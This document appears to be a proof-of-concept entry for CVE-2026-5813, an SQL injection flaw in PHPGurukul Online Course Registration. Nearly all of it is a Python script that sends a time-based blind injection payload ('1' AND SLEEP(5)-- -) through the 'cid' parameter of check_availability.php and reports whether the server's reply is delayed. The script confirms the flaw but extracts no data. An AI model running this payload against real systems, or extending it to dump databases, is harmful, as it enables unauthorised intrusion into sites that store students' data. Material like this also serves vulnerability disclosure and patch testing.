CVE-2026-5813 PHPGurukul Online Course Registration SQL注入漏洞

import requests # Target URL of the vulnerable endpoint target_url = "http://example.com/check_availability.php" # SQL Injection Payload for 'cid' parameter # Using a simple time-based blind payload to demonstrate the vulnerability payload = "1' AND SLEEP(5)-- -" # Parameters to be sent params = { "cid": payload } try: # Send the GET request response = requests.get(target_url, params=params, timeout=10) # Analyze response time to confirm execution if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The database responded with a delay.") else: print("[-] No delay detected, vulnerability might not be present or patched.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")